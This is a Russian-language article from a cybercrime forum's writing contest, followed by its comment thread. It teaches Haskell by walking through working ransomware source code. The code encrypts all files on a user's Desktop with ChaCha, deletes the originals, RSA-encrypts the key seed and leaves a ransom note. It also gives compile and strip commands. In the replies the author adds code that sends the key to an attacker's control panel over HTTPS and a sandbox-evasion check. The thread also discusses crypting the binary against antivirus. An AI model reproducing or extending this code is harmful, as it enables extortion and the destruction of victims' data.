• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем свой ransomware в функциональном стиле

x3Rx

HDD-drive
Пользователь
Регистрация
13.12.2019
Сообщения
32
Реакции
59
Пишем свой ransomware в функциональном стиле

Предисловие

- Какого хрена оно не компилируется?

Синий фон и желто-белая смесь символов окончательно перестала что-то значить.
Я смотрел на код. Я знал код. Я лично написал этот код шесть месяцев назад, и сейчас сидел и абсолютно не вдуплял, почему он не работает и как сделать так, чтобы работало.

Цикл внутри цикла, внутри цикла. Бесконечное дерево уходящих куда-то вправо if'ов. Почему так? Почему нельзя просто сообщить компьютеру что у тебя есть и что ты хочешь получить в итоге?

Позже я узнал, что все-таки можно, и это называется Функциональным Программированием.


Часть 1. Условия задачи

Цель этой статьи - показать, как написать свой ransomware на Haskell.
К концу статьи мы с тобой получим рабочий софт, который выступит скелетом, и я таким образом убью сразу двух зайцев:
  • Напишу основу своего ransomware
  • Постараюсь заинтересовать тебя, читатель, чтобы ты как минимум глянул статью в вики про Haskell, а как максимум - начал писать на этом прекрасном языке.
Есть мнение, что Haskell - взрывающий мозг язык для бородатых дядек с докторской стапенью в Computer Science. Я убежден, что это не так.

Ну и что в нем такого прекрасного, спросишь ты?

А вот что:

  • Ленивость aka поддержка отложенных вычислений
Можно работать с бесконечными структурами данных, распараллеливать вычисления и вообще делать то, что для адептов других ЯП выглядит как магия вне Хогвартса.

Вот например список натуральных чисел:

Код:
ns = [1..]

А вот список квадратов всех нечетных чисел:
Код:
sqrs = [ x^2 | x <- [1..], odd x ]

Ну ты понял. Можно даже сгенерить список всех приватных ключей биткоина в пару строк :D

  • Система типов
Это просто сказка. В университете я дико бомбил от необходимости постоянно указывать все эти Int, Float и иже с ними.
Сейчас я кайфую, потому что система типов в Хаскелле реально твой лучший друг и соратник.
Чтобы ты понимал - я ни разу не словил ошибку в рантайме за все время программирования на Хаскелле. Ни разу, Карл!
Не зря про Haskell говорят: "if it compiles, it works"

  • Функциональное программирование
Функциональная парадигма - единственная доступная в Haskell парадигма программирования. Парадокс в том, что чтоб ее понять и проникнуться, надо какое-то время покодить на Хаскелле.

Покажу на примере.

Факториал на питоне выглядит так:


Код:
def fact(n):
    result = 1
    if n > 0:
        for i in range(n):
            result = result * (i+1)
    return result

А вот факториал на Haskell:

Код:
fact1 n = foldl (*) 1 [1..n]
-- или так
fact2 n = product [1..n]

Слишком просто и не очень наглядно?
Окей, вот тебе список всех чисел Фибоначчи (да, бесконечный список), определенный через корекурсию.


Код:
fibs = 0 : 1 : zipWith (+) fibs (tail fibs)

Что, мозгу стало как-то не по себе, да? :D

Значит нам пора разобраться в основах функционального программирования.


Часть 2. Понимаем ФП

Проблема ФП в том, что на просторах сети есть куча статей, но никто толком не может объяснить, а что такое это ваше ФП.
Вот с ООП все понятно - все объект, у объектов есть методы и далее по учебнику. А в ФП в чем прикол? Функции? Так они везде есть, ничего особенного...

Я для себя характеризую ФП всего двумя основными особенностями:
  • Иммутабельность данных, то есть полное отсутствие переменных, циклов, функций append и всего такого. Если х = 1, то он останется таким до конца программы.
  • Декларативность. Вместо того, чтобы говорить машине КАК делать, мы говорим ЧТО делать. Это хорошо видно на примере с факториалом выше. Я не говорю, как его вычислить (проверить неравенство нулю, пройтись циклом итд), я говорю - перемножь.
Отсюда вытекает все остальное (функции первого порядка, паттерн матчинг и другие прикольные штуки), я не буду на этом останавливаться.

Перейдем к самому мясу.


Часть 3. Пишем Ransomware

Одна из особенностей ФП состоит в том, что ты не долбишь бездумно по клаве как бравый monkey coder, а сначала какое-то время думаешь, и только потом записываешь изящное решение.

Что мы хотим? Ну, зашифровать данные, логично. Для наглядности будем шифровать файлы на рабочем столе пользователя.

Наш план:
  • Получить список файлов на рабочем столе
  • Зашифровать их
  • Оставить сообщение о выкупе
Окей, чем шифровать будем? Я в этой статье решил использовать алгоритм ChaCha. Ну не все же AES'ом шифровать, верно? :D
И еще неплохо бы ключ, которым мы шифруем файлы где-то сохранить. А то неудобная ситуация выйдет :D
Да, и ключ само собой надо тоже зашифровать, только уже асимметричным алгоритмом (например, RSA)

План 2:
  • Получить список файлов на рабочем столе
  • Зашифровать их используя алгоритм ChaCha
  • Зашифровать ключ алгоритмом RSA
  • Оставить на рабочем столе файл README.txt (с инструкциями) и YOUR-KEY.txt (с ключом)
Ну что, поехали? Вот сорцы. Читаем и разбираемся.


Код:
{-# LANGUAGE OverloadedStrings #-}
import           Conduit
import           Crypto.Cipher.ChaChaPoly1305.Conduit
import qualified Crypto.PubKey.RSA.PKCS15             as RSA
import           Crypto.PubKey.RSA.Types
import           System.Random
import           System.Directory
import           Data.Either
import qualified Data.ByteString                      as B
import qualified Data.ByteString.UTF8                 as BU

-- Consts
basicText :: B.ByteString
basicText = "All your files are encrypted..."

pubKey :: PublicKey
pubKey =
    PublicKey { public_size = 256
              , public_n    = 2... -- Очень большое число
              , public_e    = 3
              }

-- Pure
createKey :: StdGen -> B.ByteString
createKey = B.pack . take 32 . drop 12 . randomRs (0, 31)

createNonce :: StdGen -> B.ByteString
createNonce = B.pack . take 12 . randomRs (0, 31)

-- Unpure
cryptFile :: B.ByteString -> B.ByteString -> FilePath -> IO ()
cryptFile nonce key fp = do
    runConduitRes $ sourceFile fp
                 .| encrypt nonce key
                 .| sinkFile (fp ++ ".crypted")
    removeFile fp

main = do
    state    <- getStdGen
    encState <- fmap (fromRight "")
              $ RSA.encrypt pubKey 
              $ BU.fromString
              $ show state
    homeDir  <- (++ "\\Desktop") <$> getHomeDirectory

    let nonce = createNonce state
        key   = createKey state

    dirList <- runConduitRes
             $ sourceDirectoryDeep True homeDir
            .| sinkList
    mapM_ (cryptFile nonce key) $ dirList

    withCurrentDirectory homeDir $ B.writeFile "README.txt" basicText
    withCurrentDirectory homeDir $ B.writeFile "YOUR_KEY.txt" encState

Красиво, правда? Я спецом использовал разные техники написания кода, чтобы показать интересные фишки языка.

Видишь пачку импортов? Первые четыре - это работа с потоковыми данными, и собственно шифры ChaCha и RSA. Все остальные - часть стандартной библиотеки.

В секции Const находятся текст инструкции и наш открытый ключ. Я вынес их отдельно для наглядности.
Не надо воспринимать эти значения как константы. Думай, что это функции, которые принимают ноль аргументов и возвращают всегда одно и то же. Это важно для понимания того, как легким движением руки менять сигнатуры и чистить рантайм.

Дальше идет секция Pure (чистые функции). Что это за зверь такой?
Haskell - функциональный ЯП, а значит в нем не должно быть побочных эффектов. Если говорить простым языком - значение функции зависит только от ее аргументов. Тут у нас две практически одинаковых функции, которые получают на вход состояние ГСЧ и возвращают nonce (12 байт) и ключ (32 байта). Эти два значения нам нужны для шифрования алгоритмом ChaCha.

Посмотрим на первую функцию:


Код:
createKey = B.pack . take 32 . drop 12 . randomRs (0, 31)

Тут у нас сразу несколько прикольных штук:

Бесточечный стиль записи. Я не использую имя переменной (состояние ГСЧ), потому что от этого имени мне ни горячо, ни холодно. Вместо этого, я просто определяю функцию как суперпозицию нескольких функций, которые приведут к желаемому результату. Для наглядности, это то же самое что написать вот так:


Код:
createKey x = B.pack (take 32 (drop 12 (randomRs (0, 31) x)))

randomRs - генерирует бесконечный поток случайных чисел в диапазоне от 0 до 31
drop 12 - отбрасывает первые 12 чисел из списка
take 32 - возвращает первые 32 числа из списка (после отбрасывания)
B.pack - пакует полученный список в ByteString

Я вижу вопрос в твоих глазах - что за отбрасывание 12 и взятие 32? И тут мы возвращаемся к особенностям ФП. Дело в том, что randomRs возвращает не совсем случайные числа. Ну точнее, они случайные, но однозначно определены состоянием ГСЧ. То есть, если мы еще раз подадим на вход то же самое состояние ГСЧ, то получим тот же самый список случайных чисел :D

В функции createNonce мы уже взяли первые 12 из этого списка, поэтому вместо реинициализации ГСЧ, мы просто возьмем следующие 32.

Еще одна особенность - частичное применение функций.
Например функция take принимает два аргумента, но мы встраиваем ее в цепочку композиций только с одним. Почему? Ответ все тот же - ленивые вычисления. Мы как бы говорим: *"Слушай, мне тут надо получить несколько первых чисел из списка. Количество чисел - 12, а вот список я тебе как-нибудь потом дам"*.

Дальше у нас идет блок Unpure с одной единственной функцией - cryptFile. По типу функции (спасибо, система типов) и названию я думаю очевидно, что она делает.


Код:
cryptFile nonce key fp = do
    runConduitRes $ sourceFile fp
                 .| encrypt nonce key
                 .| sinkFile (fp ++ ".crypted")
    removeFile fp

Почему же она "грязная"?

Тут тоже все достаточно просто - мы читаем данные с диска. В зависимости от этих данных мы получим разный результат. Не путать с результатом функции - он всегда одинаковый для одинаковых аргументов.

Из интересностей:
  • do нотация, которая является синтаксическим сахаром для цепочки монад (звучит угрожающе, да?).
  • Потоковая работа с данными, которая чем-то похожа на пайпы в баше (cat fileName | encrypt | writeToFile)
И опять же, обрати внимание - мы описываем, что надо сделать почти как на естественном языке: возьми файл, зашифруй, запиши и удали оригинал.

Дальше у нас идет функция main. Да, она делает ровно то, что ты подумал - это основное тело нашей программы, как и в любом другом ЯП.


Код:
main = do
    state    <- getStdGen
    encState <- fmap (fromRight "")
              $ RSA.encrypt pubKey 
              $ BU.fromString
              $ show state
    homeDir  <- (++ "\\Desktop") <$> getHomeDirectory

    let nonce = createNonce state
        key   = createKey state

    dirList <- runConduitRes
             $ sourceDirectoryDeep True homeDir
            .| sinkList
    mapM_ (cryptFile nonce key) $ dirList

    withCurrentDirectory homeDir $ B.writeFile "README.txt" basicText
    withCurrentDirectory homeDir $ B.writeFile "YOUR_KEY.txt" encState
В первой строке уже знакомая нам do-нотация.
Вот второй строке мы получаем значение системного ГСЧ и я уже вижу вопрос в твоих глазах - что за стрелочка, мазафака?

И тут я думаю стоит сделать небольшое отступление и рассказать, что такое функторы, аппликативные функторы и монады.
Погоди-погоди, не закрывай вкладку!
Я сам сперва охренел от всех этих терминов, но потом познал дзен и сейчас объясню тебе на пальцах так, что поймет даже первоклассник.

Отступление. Понимаем монады

Смотри, это значение:


1.png


А это функция, она берет значение и возвращает другое значение:

2.png


А это контекст. Проще всего представить его как коробочку, в которой лежит значение:

3.png


Простая функция не умеет работать с коробочкой. Поэтому, что нам нужно сделать? Правильно, распаковать ее и достать значение!

Этим и занимается наша "стрелочка" - распаковывает значение из коробочки.

Окей, а что делать, если коробочка нам тоже важна? Мы хотим достать значение из коробочки, применить к нему функцию и сложить обратно в коробочку, вот так:


4.png


Поздравляю, ты только что узнал, для чего нужен функтор :D Он применяет функцию к значению в коробочке.

Окей, а что если наша функция тоже лежит в коробочке? Нам надо достать функцию, достать значение, применить одно к другому и сложить результат обратно в коробочку.

Такой фокус умеют делать аппликативные функторы.


5.png


А что же такое монады? Тут тоже все просто.

Допустим, у нас есть функция, которая принимает обычное значение, а возвращает значение в коробочке. Но обычного значения у нас нет. Есть значение в коробочке, которое надо в эту функцию как-то пропихнуть. Этим и занимаются монады:


6.png


Почему это удобно? Потому что монады можно объединять в цепочку, и использовать функции для обычных значений, не заморачиваясь с контекстом:

7.png


Ну и на сладкое, чем это может быть полезно конкретно нам, с нашим ransomware? А вот чем:

Код:
basicText :: String
basicText = "Some text"

notSoBasicText :: Int -> Maybe String
notSoBasicText n
    | even n    = Just "Some text"
    | otherwise = Nothing

textExtractor :: (Int -> Maybe String) -> Int -> String
textExtractor myText n = fromJust $ myText n
Вжух, и мы обернули нашу строку в контекст, написали для нее экстрактор и почистили сигнатуры. А можем и не извлекать текст, а работать с помощью fmap прямо в конкексте. А можем часть данных извлечь, а часть нет. А можем еще и функции в контекст запаковать. Короче, я думаю тут все понятно - в Хаскелле существует миллион способов запутать алгоритм так, что сам черт ногу сломит.

Вернемся к нашему рансому.

Конец отступления

Окей, разберемся что такое encState. Как мы с тобой уже знаем, функции всегда возвращают одно и то же, если передавать им одни и те же аргументы. А это значит, что мы можем провернуть вот такой фокус:

Вместо ключа от ChaCha, зашифровать состояние нашего ГСЧ на момент старта программы, а потом в админке засшифровать его, применить функцию createKey и узнать ключ.

Круто, не правда ли? И вот что нам это дает:
  • Даже если каким-то чудом наша жертва сломает RSA, все что она получит - набор чисел, который без нашего алгоритма генерации ключа не несет никакого смысла.
  • По значению nonce мы можем присваивать жертве уникальный id
  • Мы можем добавить функцию, которая будет получать от нас исходное состояние, генерировать бесконечное число доменов и отстукивать на них в поисках админки.
Давай разберем само получение зашифрованного состояния:


Код:
encState <- fmap (fromRight "")
          $ RSA.encrypt pubKey 
          $ BU.fromString
          $ show state
$ - это всего лишь удобное обозначение того, что весь остаток строки окружен скобками. То есть у нас тут не что иное как вложенные выражения.
  • show state - переводит состояние из, эмм, состояния в строку
  • BU.fromString - упаковывает строку в ByteString
  • RSA.encrypt - собственно, RSA. Принимает два аргумента - ключ и данные. Возвращает монадическое значение типа m (Either Error ByteString). Или проще говоря - значение в маленькой коробочке, которая лежит в большой коробке
  • fmap (fromRight "") - залезает большую коробку, распаковывает внутри нее маленькую и возвращает нам значение в большой коробке
  • и наконец с помощью стрелочки мы получаем значение из большой коробки
Я думаю ты уже проникся и видишь, что мы можем распаковывать коробки в любом удобном нам порядке, и все это ведет к изменению потока программы и сигнатур.

Окей, что там дальше? Получаем абсолютный путь к папке Desktop:


Код:
homeDir  <- (++ "\\Desktop") <$> getHomeDirectory
Тут я просто записал выражение в аппликативном стиле. <$> - это всего лишь инфиксная запись fmap. Получаем домашнюю директорию пользователя (в коробочке, потому что это грязная функция, ведь на разных машинах эта директория разная), затем добавляем к пути "\Desktop" и распаковываем результат.

Дальше идет блок let, тут ничего интересного - просто связываем значения функций с именами (как будто переменные).

Затем потоково и рекурсивно получаем список всех имен файлов в нашей папке:


Код:
dirList <- runConduitRes
         $ sourceDirectoryDeep True homeDir
        .| sinkList

А потом все эти файлы шифруем:
Код:
mapM_ (cryptFile nonce key) $ dirList

Функция mapM_ - это монада, которая работает как map для обычных списков, но не возвращает ничего (просто применяет функцию ко всем элементам).

Ну и наконец последние две строки - создаем файлы с инструкцией и зашифрованным состоянием:

Код:
withCurrentDirectory homeDir $ B.writeFile "README.txt" basicText
withCurrentDirectory homeDir $ B.writeFile "YOUR_KEY.txt" encState

Ну вот и все, осталось только скомпилировать наш код:
Код:
ghc -O2 --make -static -optc-static -optl-static locker.hs -fvia-C -optl-pthread -optl-mwindows

И убрать отладочную информацию:
Код:
strip -s locker.exe

Заключение

А в заключении я бы хотел разобрать две важные вещи.

Первая - это недостатки. Недостатки есть у всех, и наш друг Haskell в этом не исключение.
  • Высокий порог вхождения. Да, это правда. Первое время ты будешь очень долго материться, потому что твои программы не будут собираться из-за несоответствия типов. Но буквально через пару месяцев практики ты научишься писать рабочий код. Потому что главное правило Хаскелля - "if it compiles, it works"
  • Ленивость. Я бы не сказал, что это недостаток, скорее особенность, которую надо учитывать. Если ты пишешь в лоб - есть шанс провалиться в "ленивую яму" (это когда все твои отложенные вычисления вдруг резко начинают вычисляться и компьютер офигевает от происходящего). Два практически идентичных алгоритма могут давать разный результат по скорости выполнения. Умение с этим работать так же приходит с опытом.
  • Большой вес бинарника. После стрипа exe'шник весит 18.7мб, а если сжать его 7z с максимальной компрессией - 2.5мб, что все еще достаточно много. Если для тебя размер файла критичен, то Haskell не подойдет.
Вторая важная вещь - это дополнения.
Как я уже сказал в начале статьи, сегодня мы написали скелет нашего ransomware. Он уже функционирует, но также есть и что улучшить, а именно:
  • Реализовать шифрование всего диска (путь к диску + обработка исключений при отсутствии прав доступа)
  • Оптимизировать алгоритм шифрования (шифровать только части файла)
  • Сделать онлайн версию (добавить отправку ключа в админку)
  • Уменьшить количество импортируемых библиотек, чтобы уменьшить вес билда и упростить чистку
  • Сделать функции доступными для вызова из C и скомпилировать в dll
Ну вот и все.

Спасибо, что дочитал до конца.
Надеюсь, у меня получилось тебя заинтересовать и ты полюбишь ФП и Haskell точно так же, как люблю его я.
До новых встреч!

x3Rx специально для xss.pro
 
Какой то недоработанный, т.е. не целостная статья. Я думал тут будет полностью рабочий проект-пример. Да и недостатки серьезные (exe'шник весит 18.7мб - жесть, можно было тогда на питоне написать и в ехе, или уж тогда на голанге, или на ноде), автор сам описывает. Но лайк поставил.
 
Какой то недоработанный, т.е. не целостная статья. Я думал тут будет полностью рабочий проект-пример. Да и недостатки серьезные (exe'шник весит 18.7мб - жесть, можно было тогда на питоне написать и в ехе, или уж тогда на голанге, или на ноде), автор сам описывает. Но лайк поставил.
Бро, он полностью рабочий - поставленную задачу выполняет.
Про дополнения да, я не зря же написал - их все стоит реализовать (+ детект виртуалки еще забыл).
Воспринимай его как PoC.
Спасибо за лайк ;)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
можно было тогда на питоне написать и в ехе
Странно, что в конкурсе еще нет такой статьи о том как написать локер на питоне. Прям ирония. Ведь многие APT делают разного рода поделки на этом языке программирования.
 
Ребята, я вас обманул с весом бинарника.
Только что пересобрал со статической линковкой - 9.3M
Как бы все равно дохуа, но в два раза меньше.
А тот что на 18.7 метров - это другая версия, с отстуком в админку и еще парой фишек.

Вообще если немного поколдовать с компилятором, можно добиться адекватного размера файла.

И хочу еще раз заострить внимание на компиляции в dll - тогда софт можно просто подгружать и подключать на лету (причем из С/C++/C#).
 
Странно, что в конкурсе еще нет такой статьи о том как написать локер на питоне. Прям ирония. Ведь многие APT делают разного рода поделки на этом языке программирования.
Вставлю свои пять копеек, поскольку долгое время писал в проде именно на питоне.
Упаковка софта для винды - это 9 кругов ада.

Помню стояла задача упаковать приложение. Ничего сложного, GUI и работа с сетью.
И хрена лысого мы его упаковали, потому что py2exe сказал "сорян пацаны, я только хеллоуворлды умею", а cx_freeze выдал папку метров на 50-70, и приложение стало падать при некоторых фазах луны.

Короче, мое мнение - питон просто не предназначен для таких задач. Это отличный скриптовый язык, он прекрасно живет на Unix-like системах, но для винды есть 1001 вариант для более комфортной работы.
 
Короче, мое мнение - питон просто не предназначен для таких задач. Это отличный скриптовый язык, он прекрасно живет на Unix-like системах, но для винды есть 1001 вариант для более комфортной работы.
С таким подходом и Haskell не шибко подходит для текущей задачи :D
 
С таким подходом и Haskell не шибко подходит для текущей задачи :D
Не соглашусь с тобой, Haskell отлично себя чувствует на Винде))

В процессе написания этой статьи я без проблем в пару кликов скачал компилятор с официального сайта, потом в одну команду скомпилировал файл - и он запустился и отработал на другой машине.

Про вес бинарника - да, я согласен на 100% с тобой, что он большой. Что поделать, плата за высокий уровень абстракции. Но опять же, я думаю от подхода зависит - если ты лоадером грузишь или клеишь с легитимным ПО, то это не настолько критично.
 
Последнее редактирование:
Не соглашусь с тобой, Haskell отлично себя чувствует на Винде))
Да никто с этим не спорит, как и голанг и нода. Просто странный выбор языка, на с++ или дельфи или пуре я бы еще понял. Твоя статья как пример для изучения отлиная я так считаю (херово что админки нету), но для практического применения не пойдет как минимум по одной причине - 9мб хрен закриптуешь, а как ты должен знать шифровальщики под чутким контролем у АВ и придется криптовать часто. Я просто видел уже проекты подобного рода на других языках и на питоне и на голанге и на ноде - все одни имели эту проблему, по итогу проекты просто умирали не родившись.
 
Да никто с этим не спорит, как и голанг и нода. Просто странный выбор языка, на с++ или дельфи или пуре я бы еще понял. Твоя статья как пример для изучения отлиная я так считаю (херово что админки нету), но для практического применения не пойдет как минимум по одной причине - 9мб хрен закриптуешь, а как ты должен знать шифровальщики под чутким контролем у АВ и придется криптовать часто. Я просто видел уже проекты подобного рода на других языках и на питоне и на голанге и на ноде - все одни имели эту проблему, по итогу проекты просто умирали не родившись.
На админку честно скажу, не хватило времени (поздно увидел конкурс).

Про крипт - тоже согласен с тобой, и у меня есть мысль по этому поводу (опять же, спасибо ФП).
Так как порядок вызовов не определен и функции у нас чистые, то мы без проблем можем менять их сигнатуры прямо во время компиляции (передавая как аргументы, используя как одну из веток в паттерн матчинге, упаковывая и распаковывая и тд).

Не буду на 100% утверждать, надо тестить, но я думаю как раз в Haskell есть все возможности для реализации качественного автокрипта.
 
Пока голосование не началось, хочу показать за что я люблю ФП и языки высокого уровня.

Берем пункты из моего списка "Надо бы реализовать" в конце статьи. Знаете, сколько это займет времени? Не дни, и даже не часы.
Все это можно реализовать в пару команд. Разберем на двух примерах:

1) Онлайн версия

Просто вместо дропа ключа на диск отправляем его в админку по https (или в Торе при желании):
Код:
manager     <- newManager tlsManagerSettings
initRequest <- parseRequest "https://your.url"
let req = (urlEncodedBody [("data", encState)] initialRequest)
          { method = "POST" }
httpLbs req manager

2) Антиэмуляция

Как вариант - будем использовать технику запроса к несуществующему URL.
На реальной машине получим ошибку, а эмуль сделает вид, что все ок.

Код:
emulCheck <- try $ httpLBS "http://does-not-exist"

case emulCheck of
    Left e         -> realFunction (e :: HttpException) -- не виртуалка
    Right response -> fakeFunction response             -- виртуалка

Я не буду расписывать каждое улучшение, но думаю и так понятно, что функционал пилится за минуты.
Как сделать автокрипт кода на Haskell я показывать не буду, потому что пошерстил форум на эту тему, и похоже это будет 0day технология.

Что я хотел сказать этим комментом и статьей в целом: не бойтесь экспериментировать и писать малварь на необычных языках.
Ведь чтобы получить то, что никто не получал - нужно делать то, что никто не делал ;)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх